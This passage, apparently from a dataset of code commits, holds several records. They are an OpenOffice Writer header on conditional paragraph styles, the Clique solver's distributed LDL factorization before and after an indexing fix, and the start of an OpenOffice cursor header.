aGrfFmtCollSetRange,\n                    pDerFrom, RES_GRFFMTCOLL )\n    {}\n\npublic:\n    TYPEINFO();     \/\/Bereits in Basisklasse Client drin.\n};\n\ntypedef SwGrfFmtColl* SwGrfFmtCollPtr;\nSV_DECL_PTRARR(SwGrfFmtColls,SwGrfFmtCollPtr,2,4)\n\n\n\n\/\/FEATURE::CONDCOLL\n\/\/ --------- Bedingte Vorlagen -------------------------------\n\nenum Master_CollConditions\n{\n    PARA_IN_LIST        = 0x0001,\n    PARA_IN_OUTLINE     = 0x0002,\n    PARA_IN_FRAME       = 0x0004,\n    PARA_IN_TABLEHEAD   = 0x0008,\n    PARA_IN_TABLEBODY   = 0x0010,\n    PARA_IN_SECTION     = 0x0020,\n    PARA_IN_FOOTENOTE   = 0x0040,\n    PARA_IN_FOOTER      = 0x0080,\n    PARA_IN_HEADER      = 0x0100,\n    PARA_IN_ENDNOTE     = 0x0200,\n    \/\/ ...\n    USRFLD_EXPRESSION   = (int)0x8000\n};\n\n\nclass SW_DLLPUBLIC SwCollCondition : public SwClient\n{\n    ULONG nCondition;\n    union\n    {\n        ULONG nSubCondition;\n        String* pFldExpression;\n    } aSubCondition;\n\npublic:\n    TYPEINFO();     \/\/Bereits in Basisklasse Client drin.\n\n\n    SwCollCondition( SwTxtFmtColl* pColl, ULONG nMasterCond,\n                    ULONG nSubCond = 0 );\n    SwCollCondition( SwTxtFmtColl* pColl, ULONG nMasterCond,\n                    const String& rSubExp );\n    virtual ~SwCollCondition();\n\n    \/\/ @@@ public copy ctor, but no copy assignment?\n    SwCollCondition( const SwCollCondition& rCpy );\nprivate:\n    \/\/ @@@ public copy ctor, but no copy assignment?\n    SwCollCondition & operator= (const SwCollCondition &);\npublic:\n\n    int operator==( const SwCollCondition& rCmp ) const;\n    int operator!=( const SwCollCondition& rCmp ) const\n                            { return ! (*this == rCmp); }\n\n    ULONG GetCondition() const      { return nCondition; }\n    ULONG GetSubCondition() const   { return aSubCondition.nSubCondition; }\n    const String* GetFldExpression() const\n                                    { return aSubCondition.pFldExpression; }\n\n    void SetCondition( ULONG nCond, ULONG nSubCond );\n    SwTxtFmtColl* GetTxtFmtColl() const     { return (SwTxtFmtColl*)GetRegisteredIn(); }\n};\n\n\ntypedef SwCollCondition* SwCollConditionPtr;\nSV_DECL_PTRARR_DEL( SwFmtCollConditions, SwCollConditionPtr, 0, 5 )\n\nclass SW_DLLPUBLIC SwConditionTxtFmtColl : public SwTxtFmtColl\n{\n    friend class SwDoc;\nprotected:\n    SwFmtCollConditions aCondColls;\n\n    SwConditionTxtFmtColl( SwAttrPool& rPool, const sal_Char* pFmtCollName,\n                            SwTxtFmtColl* pDerFrom = 0 )\n        : SwTxtFmtColl( rPool, pFmtCollName, pDerFrom, RES_CONDTXTFMTCOLL )\n    {}\n    SwConditionTxtFmtColl( SwAttrPool& rPool, const String &rFmtCollName,\n                            SwTxtFmtColl* pDerFrom = 0 )\n        : SwTxtFmtColl( rPool, rFmtCollName, pDerFrom, RES_CONDTXTFMTCOLL )\n    {}\n\npublic:\n    TYPEINFO();     \/\/Bereits in Basisklasse Client drin.\n\n    virtual ~SwConditionTxtFmtColl();\n\n    \/\/ zum \"abfischen\" von Aenderungen\n\/\/  virtual void Modify( SfxPoolItem*, SfxPoolItem* );\n\n    const SwCollCondition* HasCondition( const SwCollCondition& rCond ) const;\n    const SwFmtCollConditions& GetCondColls() const     { return aCondColls; }\n    void InsertCondition( const SwCollCondition& rCond );\n    BOOL RemoveCondition( const SwCollCondition& rCond );\n\n    void SetConditions( const SwFmtCollConditions& );\n};\n\n\/\/FEATURE::CONDCOLL\n\n\/\/ ------------- Inline Implementierungen --------------------\n\ninline void SwTxtFmtColl::SetNextTxtFmtColl( SwTxtFmtColl& rNext )\n{\n    pNextTxtFmtColl = &rNext;\n}\n#endif\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Ajout de la préparation du kernel (buffer des infos).<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n   Clique: a scalable implementation of the multifrontal algorithm\n\n   Copyright (C) 2011 Jack Poulson, Lexing Ying, and \n   The University of Texas at Austin\n \n   This program is free software: you can redistribute it and\/or modify\n   it under the terms of the GNU General Public License as published by\n   the Free Software Foundation, either version 3 of the License, or\n   (at your option) any later version.\n \n   This program is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n   GNU General Public License for more details.\n \n   You should have received a copy of the GNU General Public License\n   along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n#include \"clique.hpp\"\nusing namespace elemental;\n\n\/\/ This routine could be modified later so that it uses much less memory\n\/\/ by replacing the '=' redistributions with piece-by-piece redistributions.\ntemplate<typename F>\nvoid clique::numeric::SetSolveMode( DistSymmFact<F>& distL, SolveMode mode )\n{\n#ifndef RELEASE\n    PushCallStack(\"numeric::SetSolveMode\");\n#endif\n    \/\/ Check if this call can be a no-op\n    if( mode == distL.mode ) \n    {\n#ifndef RELEASE\n        PopCallStack();\n#endif\n        return;\n    }\n\n    distL.mode = mode;\n    const int numSupernodes = distL.supernodes.size();    \n    if( numSupernodes == 0 )\n    {\n#ifndef RELEASE\n        PopCallStack();\n#endif\n        return;\n    }\n\n    DistSymmFactSupernode<F>& leafSN = distL.supernodes[0];\n    if( mode == FEW_RHS )\n    {\n        leafSN.front1d.LocalMatrix().View( leafSN.front2d.LocalMatrix() );\n        for( int k=1; k<numSupernodes; ++k )\n        {\n            DistSymmFactSupernode<F>& sn = distL.supernodes[k];\n            sn.front1d = sn.front2d;\n            sn.front2d.Empty();\n        }\n    }\n    else\n    {\n        leafSN.front2d.LocalMatrix().View( leafSN.front1d.LocalMatrix() );\n        for( int k=1; k<numSupernodes; ++k )\n        {\n            DistSymmFactSupernode<F>& sn = distL.supernodes[k];\n            sn.front2d = sn.front1d;\n            sn.front1d.Empty();\n        }\n    }\n#ifndef RELEASE\n    PopCallStack();\n#endif\n}\n\ntemplate<typename F> \/\/ F represents a real or complex field\nvoid clique::numeric::DistLDL\n( Orientation orientation,\n        symbolic::DistSymmFact& S, \/\/ can't be const due to map...\n  const numeric::LocalSymmFact<F>& localL,\n        numeric::DistSymmFact<F>& distL )\n{\n#ifndef RELEASE\n    PushCallStack(\"numeric::DistLDL\");\n    if( orientation == NORMAL )\n        throw std::logic_error(\"LDL must be (conjugate-)transposed\");\n#endif\n    const int numSupernodes = S.supernodes.size();\n    distL.mode = MANY_RHS;\n    if( numSupernodes == 0 )\n        return;\n\n    \/\/ The bottom front is already computed, so just view it\n    const LocalSymmFactSupernode<F>& topLocalSN = localL.supernodes.back();\n    DistSymmFactSupernode<F>& bottomDistSN = distL.supernodes[0];\n    const Grid& bottomGrid = bottomDistSN.front2d.Grid();\n    bottomDistSN.front2d.Empty(); \/\/ eventually this can be removed...\n    bottomDistSN.front2d.LockedView\n    ( topLocalSN.front.Height(), topLocalSN.front.Width(), 0, 0, \n      topLocalSN.front.LockedBuffer(), topLocalSN.front.LDim(), bottomGrid );\n\n    \/\/ Perform the distributed portion of the factorization\n    std::vector<int>::const_iterator it;\n    for( unsigned k=1; k<numSupernodes; ++k )\n    {\n        const symbolic::DistSymmFactSupernode& childSymbSN = S.supernodes[k-1];\n        const symbolic::DistSymmFactSupernode& symbSN = S.supernodes[k];\n        const DistSymmFactSupernode<F>& childNumSN = distL.supernodes[k-1];\n        DistSymmFactSupernode<F>& numSN = distL.supernodes[k];\n\n        const bool computeFactRecvIndices = \n            ( symbSN.childFactRecvIndices.size() == 0 );\n\n        \/\/ Grab this front's grid information\n        const Grid& grid = numSN.front2d.Grid();\n        mpi::Comm comm = grid.VCComm();\n        const unsigned commRank = mpi::CommRank( comm );\n        const unsigned commSize = mpi::CommSize( comm );\n        const unsigned gridHeight = grid.Height();\n        const unsigned gridWidth = grid.Width();\n\n        \/\/ Grab the child's grid information\n        const Grid& childGrid = childNumSN.front2d.Grid();\n        mpi::Comm childComm = childGrid.VCComm();\n        const unsigned childCommRank = mpi::CommRank( childComm );\n        const unsigned childCommSize = mpi::CommSize( childComm );\n        const unsigned childGridHeight = childGrid.Height();\n        const unsigned childGridWidth = childGrid.Width();\n        const unsigned childGridRow = childGrid.MCRank();\n        const unsigned childGridCol = childGrid.MRRank();\n\n#ifndef RELEASE\n        if( numSN.front2d.Height() != symbSN.size+symbSN.lowerStruct.size() ||\n            numSN.front2d.Width()  != symbSN.size+symbSN.lowerStruct.size() )\n            throw std::logic_error(\"Front was not the proper size\");\n#endif\n\n        \/\/ Pack our child's update\n        DistMatrix<F,MC,MR> childUpdate(childGrid);\n        const int updateSize = childNumSN.front2d.Height()-childSymbSN.size;\n        childUpdate.LockedView\n        ( childNumSN.front2d, \n          childSymbSN.size, childSymbSN.size, updateSize, updateSize );\n        const bool isLeftChild = ( commRank < commSize\/2 );\n        it = std::max_element\n             ( symbSN.numChildFactSendIndices.begin(), \n               symbSN.numChildFactSendIndices.end() );\n        const int sendPortionSize = std::max(*it,mpi::MIN_COLL_MSG);\n        std::vector<F> sendBuffer( sendPortionSize*commSize );\n\n        const std::vector<int>& myChildRelIndices = \n            ( isLeftChild ? symbSN.leftChildRelIndices\n                          : symbSN.rightChildRelIndices );\n        const int updateRowAlignment = childUpdate.RowAlignment();\n        const int updateColShift = childUpdate.ColShift();\n        const int updateRowShift = childUpdate.RowShift();\n        const int updateLocalHeight = childUpdate.LocalHeight();\n        const int updateLocalWidth = childUpdate.LocalWidth();\n        \/\/ Initialize the offsets to each process's chunk\n        std::vector<int> sendOffsets( commSize );\n        for( int proc=0; proc<commSize; ++proc )\n            sendOffsets[proc] = proc*sendPortionSize;\n        for( int jChildLocal=0; jChildLocal<updateLocalWidth; ++jChildLocal )\n        {\n            const int jChild = updateRowShift + jChildLocal*childGridWidth;\n            const int destGridCol = myChildRelIndices[jChild] % gridWidth;\n\n            const int align = (jChild+updateRowAlignment) % childGridHeight;\n            const int shift = \n                (childGridRow+childGridHeight-align) % childGridHeight;\n            const int localColShift = \n                (jChild+shift-updateColShift) \/ childGridHeight;\n            for( int iChildLocal=localColShift; \n                     iChildLocal<updateLocalHeight; ++iChildLocal )\n            {\n                const int iChild = updateColShift + iChildLocal*childGridHeight;\n                const int destGridRow = myChildRelIndices[iChild] % gridHeight;\n\n                const int destRank = destGridRow + destGridCol*gridHeight;\n                sendBuffer[sendOffsets[destRank]++] = \n                    childUpdate.GetLocalEntry(iChildLocal,jChildLocal);\n            }\n        }\n        \/\/ Reset the offsets to their original values\n        for( int proc=0; proc<commSize; ++proc )\n            sendOffsets[proc] = proc*sendPortionSize;\n\n        \/\/ AllToAll to send and receive the child updates\n        if( computeFactRecvIndices )\n            symbolic::ComputeFactRecvIndices( symbSN );\n        int recvPortionSize = mpi::MIN_COLL_MSG;\n        for( int proc=0; proc<commSize; ++proc )\n        {\n            const int thisPortion = symbSN.childFactRecvIndices[proc].size();\n            recvPortionSize = std::max(thisPortion,recvPortionSize);\n        }\n        std::vector<F> recvBuffer( recvPortionSize*commSize );\n        mpi::AllToAll\n        ( &sendBuffer[0], sendPortionSize, \n          &recvBuffer[0], recvPortionSize, comm );\n        sendBuffer.clear();\n\n        \/\/ Unpack the child udpates (with an Axpy)\n        for( int proc=0; proc<commSize; ++proc )\n        {\n            const F* recvValues = &recvBuffer[proc*recvPortionSize];\n            const std::deque<int>& recvIndices = \n                symbSN.childFactRecvIndices[proc];\n            for( int k=0; k<recvIndices.size(); ++k )\n            {\n                const int iFrontLocal = recvIndices[2*k+0];\n                const int jFrontLocal = recvIndices[2*k+1];\n                const F value = recvValues[k];\n                numSN.front2d.UpdateLocalEntry\n                ( iFrontLocal, jFrontLocal, value );\n            }\n        }\n        recvBuffer.clear();\n        if( computeFactRecvIndices )\n            symbSN.childFactRecvIndices.clear();\n\n        \/\/ Now that the frontal matrix is set up, perform the factorization\n        DistSupernodeLDL( orientation, numSN.front2d, symbSN.size );\n    }\n#ifndef RELEASE\n    PopCallStack();\n#endif\n}\n\ntemplate void clique::numeric::SetSolveMode\n( DistSymmFact<float>& distL, SolveMode mode );\ntemplate void clique::numeric::DistLDL\n( Orientation orientation,\n        symbolic::DistSymmFact& S,\n  const numeric::LocalSymmFact<float>& localL,\n        numeric::DistSymmFact<float>& distL );\n\ntemplate void clique::numeric::SetSolveMode\n( DistSymmFact<double>& distL, SolveMode mode );\ntemplate void clique::numeric::DistLDL\n( Orientation orientation,\n        symbolic::DistSymmFact& S,\n  const numeric::LocalSymmFact<double>& localL,\n        numeric::DistSymmFact<double>& distL );\n\ntemplate void clique::numeric::SetSolveMode\n( DistSymmFact<std::complex<float> >& distL, SolveMode mode );\ntemplate void clique::numeric::DistLDL\n( Orientation orientation,\n        symbolic::DistSymmFact& S,\n  const numeric::LocalSymmFact<std::complex<float> >& localL,\n        numeric::DistSymmFact<std::complex<float> >& distL );\n\ntemplate void clique::numeric::SetSolveMode\n( DistSymmFact<std::complex<double> >& distL, SolveMode mode );\ntemplate void clique::numeric::DistLDL\n( Orientation orientation,\n        symbolic::DistSymmFact& S,\n  const numeric::LocalSymmFact<std::complex<double> >& localL,\n        numeric::DistSymmFact<std::complex<double> >& distL );\n<commit_msg>Fixed an indexing mistake in DistLDL.<commit_after>\/*\n   Clique: a scalable implementation of the multifrontal algorithm\n\n   Copyright (C) 2011 Jack Poulson, Lexing Ying, and \n   The University of Texas at Austin\n \n   This program is free software: you can redistribute it and\/or modify\n   it under the terms of the GNU General Public License as published by\n   the Free Software Foundation, either version 3 of the License, or\n   (at your option) any later version.\n \n   This program is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n   GNU General Public License for more details.\n \n   You should have received a copy of the GNU General Public License\n   along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n#include \"clique.hpp\"\nusing namespace elemental;\n\n\/\/ This routine could be modified later so that it uses much less memory\n\/\/ by replacing the '=' redistributions with piece-by-piece redistributions.\ntemplate<typename F>\nvoid clique::numeric::SetSolveMode( DistSymmFact<F>& distL, SolveMode mode )\n{\n#ifndef RELEASE\n    PushCallStack(\"numeric::SetSolveMode\");\n#endif\n    \/\/ Check if this call can be a no-op\n    if( mode == distL.mode ) \n    {\n#ifndef RELEASE\n        PopCallStack();\n#endif\n        return;\n    }\n\n    distL.mode = mode;\n    const int numSupernodes = distL.supernodes.size();    \n    if( numSupernodes == 0 )\n    {\n#ifndef RELEASE\n        PopCallStack();\n#endif\n        return;\n    }\n\n    DistSymmFactSupernode<F>& leafSN = distL.supernodes[0];\n    if( mode == FEW_RHS )\n    {\n        leafSN.front1d.LocalMatrix().View( leafSN.front2d.LocalMatrix() );\n        for( int k=1; k<numSupernodes; ++k )\n        {\n            DistSymmFactSupernode<F>& sn = distL.supernodes[k];\n            sn.front1d = sn.front2d;\n            sn.front2d.Empty();\n        }\n    }\n    else\n    {\n        leafSN.front2d.LocalMatrix().View( leafSN.front1d.LocalMatrix() );\n        for( int k=1; k<numSupernodes; ++k )\n        {\n            DistSymmFactSupernode<F>& sn = distL.supernodes[k];\n            sn.front2d = sn.front1d;\n            sn.front1d.Empty();\n        }\n    }\n#ifndef RELEASE\n    PopCallStack();\n#endif\n}\n\ntemplate<typename F> \/\/ F represents a real or complex field\nvoid clique::numeric::DistLDL\n( Orientation orientation,\n        symbolic::DistSymmFact& S, \/\/ can't be const due to map...\n  const numeric::LocalSymmFact<F>& localL,\n        numeric::DistSymmFact<F>& distL )\n{\n#ifndef RELEASE\n    PushCallStack(\"numeric::DistLDL\");\n    if( orientation == NORMAL )\n        throw std::logic_error(\"LDL must be (conjugate-)transposed\");\n#endif\n    const int numSupernodes = S.supernodes.size();\n    distL.mode = MANY_RHS;\n    if( numSupernodes == 0 )\n        return;\n\n    \/\/ The bottom front is already computed, so just view it\n    const LocalSymmFactSupernode<F>& topLocalSN = localL.supernodes.back();\n    DistSymmFactSupernode<F>& bottomDistSN = distL.supernodes[0];\n    const Grid& bottomGrid = bottomDistSN.front2d.Grid();\n    bottomDistSN.front2d.Empty(); \/\/ eventually this can be removed...\n    bottomDistSN.front2d.LockedView\n    ( topLocalSN.front.Height(), topLocalSN.front.Width(), 0, 0, \n      topLocalSN.front.LockedBuffer(), topLocalSN.front.LDim(), bottomGrid );\n\n    \/\/ Perform the distributed portion of the factorization\n    std::vector<int>::const_iterator it;\n    for( unsigned k=1; k<numSupernodes; ++k )\n    {\n        const symbolic::DistSymmFactSupernode& childSymbSN = S.supernodes[k-1];\n        const symbolic::DistSymmFactSupernode& symbSN = S.supernodes[k];\n        const DistSymmFactSupernode<F>& childNumSN = distL.supernodes[k-1];\n        DistSymmFactSupernode<F>& numSN = distL.supernodes[k];\n\n        const bool computeFactRecvIndices = \n            ( symbSN.childFactRecvIndices.size() == 0 );\n\n        \/\/ Grab this front's grid information\n        const Grid& grid = numSN.front2d.Grid();\n        mpi::Comm comm = grid.VCComm();\n        const unsigned commRank = mpi::CommRank( comm );\n        const unsigned commSize = mpi::CommSize( comm );\n        const unsigned gridHeight = grid.Height();\n        const unsigned gridWidth = grid.Width();\n\n        \/\/ Grab the child's grid information\n        const Grid& childGrid = childNumSN.front2d.Grid();\n        mpi::Comm childComm = childGrid.VCComm();\n        const unsigned childCommRank = mpi::CommRank( childComm );\n        const unsigned childCommSize = mpi::CommSize( childComm );\n        const unsigned childGridHeight = childGrid.Height();\n        const unsigned childGridWidth = childGrid.Width();\n        const unsigned childGridRow = childGrid.MCRank();\n        const unsigned childGridCol = childGrid.MRRank();\n\n#ifndef RELEASE\n        if( numSN.front2d.Height() != symbSN.size+symbSN.lowerStruct.size() ||\n            numSN.front2d.Width()  != symbSN.size+symbSN.lowerStruct.size() )\n            throw std::logic_error(\"Front was not the proper size\");\n#endif\n\n        \/\/ Pack our child's update\n        DistMatrix<F,MC,MR> childUpdate;\n        const int updateSize = childNumSN.front2d.Height()-childSymbSN.size;\n        childUpdate.LockedView\n        ( childNumSN.front2d, \n          childSymbSN.size, childSymbSN.size, updateSize, updateSize );\n        const bool isLeftChild = ( commRank < commSize\/2 );\n        it = std::max_element\n             ( symbSN.numChildFactSendIndices.begin(), \n               symbSN.numChildFactSendIndices.end() );\n        const int sendPortionSize = std::max(*it,mpi::MIN_COLL_MSG);\n        std::vector<F> sendBuffer( sendPortionSize*commSize );\n\n        const std::vector<int>& myChildRelIndices = \n            ( isLeftChild ? symbSN.leftChildRelIndices\n                          : symbSN.rightChildRelIndices );\n        const int updateRowAlignment = childUpdate.RowAlignment();\n        const int updateColShift = childUpdate.ColShift();\n        const int updateRowShift = childUpdate.RowShift();\n        const int updateLocalHeight = childUpdate.LocalHeight();\n        const int updateLocalWidth = childUpdate.LocalWidth();\n        \/\/ Initialize the offsets to each process's chunk\n        std::vector<int> sendOffsets( commSize );\n        for( int proc=0; proc<commSize; ++proc )\n            sendOffsets[proc] = proc*sendPortionSize;\n        for( int jChildLocal=0; jChildLocal<updateLocalWidth; ++jChildLocal )\n        {\n            const int jChild = updateRowShift + jChildLocal*childGridWidth;\n            const int destGridCol = myChildRelIndices[jChild] % gridWidth;\n\n            const int align = (jChild+updateRowAlignment) % childGridHeight;\n            const int shift = \n                (childGridRow+childGridHeight-align) % childGridHeight;\n            const int localColShift = \n                (jChild+shift-updateColShift) \/ childGridHeight;\n            for( int iChildLocal=localColShift; \n                     iChildLocal<updateLocalHeight; ++iChildLocal )\n            {\n                const int iChild = updateColShift + iChildLocal*childGridHeight;\n                const int destGridRow = myChildRelIndices[iChild] % gridHeight;\n\n                const int destRank = destGridRow + destGridCol*gridHeight;\n                sendBuffer[sendOffsets[destRank]++] = \n                    childUpdate.GetLocalEntry(iChildLocal,jChildLocal);\n            }\n        }\n        \/\/ Reset the offsets to their original values\n        for( int proc=0; proc<commSize; ++proc )\n            sendOffsets[proc] = proc*sendPortionSize;\n\n        \/\/ AllToAll to send and receive the child updates\n        if( computeFactRecvIndices )\n            symbolic::ComputeFactRecvIndices( symbSN );\n        int recvPortionSize = mpi::MIN_COLL_MSG;\n        for( int proc=0; proc<commSize; ++proc )\n        {\n            const int thisPortion = symbSN.childFactRecvIndices[proc].size();\n            recvPortionSize = std::max(thisPortion,recvPortionSize);\n        }\n        std::vector<F> recvBuffer( recvPortionSize*commSize );\n        mpi::AllToAll\n        ( &sendBuffer[0], sendPortionSize, \n          &recvBuffer[0], recvPortionSize, comm );\n        sendBuffer.clear();\n\n        \/\/ Unpack the child udpates (with an Axpy)\n        for( int proc=0; proc<commSize; ++proc )\n        {\n            const F* recvValues = &recvBuffer[proc*recvPortionSize];\n            const std::deque<int>& recvIndices = \n                symbSN.childFactRecvIndices[proc];\n            const int numRecvIndexPairs = recvIndices.size()\/2;\n            for( int k=0; k<numRecvIndexPairs; ++k )\n            {\n                const int iFrontLocal = recvIndices[2*k+0];\n                const int jFrontLocal = recvIndices[2*k+1];\n                const F value = recvValues[k];\n                numSN.front2d.UpdateLocalEntry\n                ( iFrontLocal, jFrontLocal, value );\n            }\n        }\n        recvBuffer.clear();\n        if( computeFactRecvIndices )\n            symbSN.childFactRecvIndices.clear();\n\n        \/\/ Now that the frontal matrix is set up, perform the factorization\n        DistSupernodeLDL( orientation, numSN.front2d, symbSN.size );\n    }\n#ifndef RELEASE\n    PopCallStack();\n#endif\n}\n\ntemplate void clique::numeric::SetSolveMode\n( DistSymmFact<float>& distL, SolveMode mode );\ntemplate void clique::numeric::DistLDL\n( Orientation orientation,\n        symbolic::DistSymmFact& S,\n  const numeric::LocalSymmFact<float>& localL,\n        numeric::DistSymmFact<float>& distL );\n\ntemplate void clique::numeric::SetSolveMode\n( DistSymmFact<double>& distL, SolveMode mode );\ntemplate void clique::numeric::DistLDL\n( Orientation orientation,\n        symbolic::DistSymmFact& S,\n  const numeric::LocalSymmFact<double>& localL,\n        numeric::DistSymmFact<double>& distL );\n\ntemplate void clique::numeric::SetSolveMode\n( DistSymmFact<std::complex<float> >& distL, SolveMode mode );\ntemplate void clique::numeric::DistLDL\n( Orientation orientation,\n        symbolic::DistSymmFact& S,\n  const numeric::LocalSymmFact<std::complex<float> >& localL,\n        numeric::DistSymmFact<std::complex<float> >& distL );\n\ntemplate void clique::numeric::SetSolveMode\n( DistSymmFact<std::complex<double> >& distL, SolveMode mode );\ntemplate void clique::numeric::DistLDL\n( Orientation orientation,\n        symbolic::DistSymmFact& S,\n  const numeric::LocalSymmFact<std::complex<double> >& localL,\n        numeric::DistSymmFact<std::complex<double> >& distL );\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: viscrs.hxx,v $\n *\n *  $Revision: 1.6 $\n *\n *  last change: $Author: hr $ $Date: 2007-06-26 11:55:57 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#ifndef _VISCRS_HXX\n#define _VISCRS_HXX\n#ifndef _CURSOR_HXX \/\/autogen\n#include <vcl\/cursor.hxx>\n#endif\n#include \"swcrsr.hxx\"\n#include \"swrect.hxx\"\n#include \"swregion.hxx\"\n\nclass SwCrsrShell;\nclass SwShellCrsr;\n\n\/\/ --------  Ab hier Klassen \/ Methoden fuer den nicht Text-Cursor ------\n\nclass SwVisCrsr\n#ifdef SW_CRSR_TIMER\n                : private Timer\n#endif\n{\n    friend void _InitCore();\n    friend void _FinitCore();\n\n    BOOL bIsVisible : 1;\n    BOOL bIsDragCrsr : 1;\n\n#ifdef SW_CRSR_TIMER\n    BOOL bTimerOn : 1;\n#endif\n\n    Cursor aTxtCrsr;\n    const SwCrsrShell* pCrsrShell;\n\n#ifdef SW_CRSR_TIMER\n    virtual void Timeout();\n#endif\n    void _SetPosAndShow();\n\npublic:\n    SwVisCrsr( const SwCrsrShell * pCShell );\n    ~SwVisCrsr();\n\n    void Show();\n    void Hide();\n\n    FASTBOOL IsVisible() const { return bIsVisible; }\n    void SetDragCrsr( BOOL bFlag = TRUE ) { bIsDragCrsr = bFlag; }\n\n#ifdef SW_CRSR_TIMER\n    FASTBOOL ChgTimerFlag( BOOL bTimerOn = TRUE );\n#endif\n};\n\n\n\/\/ ------ Ab hier Klassen \/ Methoden fuer die Selectionen -------\n\n\/\/ #i75172# predefines\nnamespace sdr { namespace overlay { class OverlayObject; }}\n\nclass SwSelPaintRects : public SwRects\n{\n    friend void _InitCore();\n    friend void _FinitCore();\n\n    static long nPixPtX, nPixPtY;\n    static MapMode *pMapMode;\n\n    \/\/ die Shell\n    const SwCrsrShell* pCShell;\n\n    void Paint( const SwRect& rRect );\n\n    virtual void Paint( const Rectangle& rRect );\n    virtual void FillRects() = 0;\n\n    \/\/ #i75172#\n    sdr::overlay::OverlayObject*    mpCursorOverlay;\n\n    \/\/ #i75172# access to mpCursorOverlay for swapContent\n    sdr::overlay::OverlayObject* getCursorOverlay() const { return mpCursorOverlay; }\n    void setCursorOverlay(sdr::overlay::OverlayObject* pNew) { mpCursorOverlay = pNew; }\n\npublic:\n    SwSelPaintRects( const SwCrsrShell& rCSh );\n    virtual ~SwSelPaintRects();\n\n    \/\/ #i75172# in SwCrsrShell::CreateCrsr() the content of SwSelPaintRects is exchanged. To\n    \/\/ make a complete swap access to mpCursorOverlay is needed there\n    void swapContent(SwSelPaintRects& rSwap);\n\n    void Show();\n    void Hide();\n    void Invalidate( const SwRect& rRect );\n\n    const SwCrsrShell* GetShell() const { return pCShell; }\n    \/\/ check current MapMode of the shell and set possibly the static members.\n    \/\/ Optional set the parameters pX, pY\n    static void Get1PixelInLogic( const ViewShell& rSh,\n                                    long* pX = 0, long* pY = 0 );\n};\n\n\nclass SwShellCrsr : public virtual SwCursor, public SwSelPaintRects\n{\n    \/\/ Dokument-Positionen der Start\/End-Charakter einer SSelection\n    Point aMkPt, aPtPt;\n    const SwPosition* pPt;      \/\/ fuer Zuordung vom GetPoint() zum aPtPt\n\n    virtual void FillRects();   \/\/ fuer Table- und normalen Crsr\n\npublic:\n    SwShellCrsr( const SwCrsrShell& rCrsrSh, const SwPosition &rPos );\n    SwShellCrsr( const SwCrsrShell& rCrsrSh, const SwPosition &rPos,\n                    const Point& rPtPos, SwPaM* pRing = 0 );\n    SwShellCrsr( SwShellCrsr& );\n    virtual ~SwShellCrsr();\n\n    virtual operator SwShellCrsr* ();\n\n    void Show();            \/\/ Update und zeige alle Selektionen an\n    void Hide();            \/\/ verstecke alle Selektionen\n    void Invalidate( const SwRect& rRect );\n\n    const Point& GetPtPos() const   { return( SwPaM::GetPoint() == pPt ? aPtPt : aMkPt ); }\n          Point& GetPtPos()         { return( SwPaM::GetPoint() == pPt ? aPtPt : aMkPt ); }\n    const Point& GetMkPos() const   { return( SwPaM::GetMark() == pPt ? aPtPt : aMkPt ); }\n          Point& GetMkPos()         { return( SwPaM::GetMark() == pPt ? aPtPt : aMkPt ); }\n    const Point& GetSttPos() const  { return( SwPaM::Start() == pPt ? aPtPt : aMkPt ); }\n          Point& GetSttPos()        { return( SwPaM::Start() == pPt ? aPtPt : aMkPt ); }\n    const Point& GetEndPos() const  { return( SwPaM::End() == pPt ? aPtPt : aMkPt ); }\n          Point& GetEndPos()        { return( SwPaM::End() == pPt ? aPtPt : aMkPt ); }\n\n    virtual void SetMark();\n\n    virtual SwCursor* Create( SwPaM* pRing = 0 ) const;\n\n    virtual short MaxReplaceArived(); \/\/returns RET_YES\/RET_CANCEL\/RET_NO\n    virtual void SaveTblBoxCntnt( const SwPosition* pPos = 0 );\n\n    FASTBOOL UpDown( BOOL bUp, USHORT nCnt = 1 );\n\n    \/\/ TRUE: an die Position kann der Cursor gesetzt werden\n    virtual FASTBOOL IsAtValidPos( BOOL bPoint = TRUE ) const;\n\n#ifndef PRODUCT\n\/\/ JP 05.03.98: zum Testen des UNO-Crsr Verhaltens hier die Implementierung\n\/\/              am sichtbaren Cursor\n    virtual FASTBOOL IsSelOvr( int eFlags =\n                                ( SELOVER_CHECKNODESSECTION |\n                                  SELOVER_TOGGLE | SELOVER_CHANGEPOS ));\n#endif\n\n    DECL_FIXEDMEMPOOL_NEWDEL( SwShellCrsr )\n};\n\n\n\nclass SwShellTableCrsr : public virtual SwShellCrsr, public virtual SwTableCursor\n{\n    \/\/ die Selection hat die gleiche Reihenfolge wie die\n    \/\/ TabellenBoxen. D.h., wird aus dem einen Array an einer Position\n    \/\/ etwas geloescht, dann muss es auch im anderen erfolgen!!\n\n\npublic:\n    SwShellTableCrsr( const SwCrsrShell& rCrsrSh, const SwPosition& rPos );\n    SwShellTableCrsr( const SwCrsrShell& rCrsrSh,\n                    const SwPosition &rMkPos, const Point& rMkPt,\n                    const SwPosition &rPtPos, const Point& rPtPt );\n    virtual ~SwShellTableCrsr();\n\n    virtual operator SwShellTableCrsr* ();\n\n    virtual void FillRects();   \/\/ 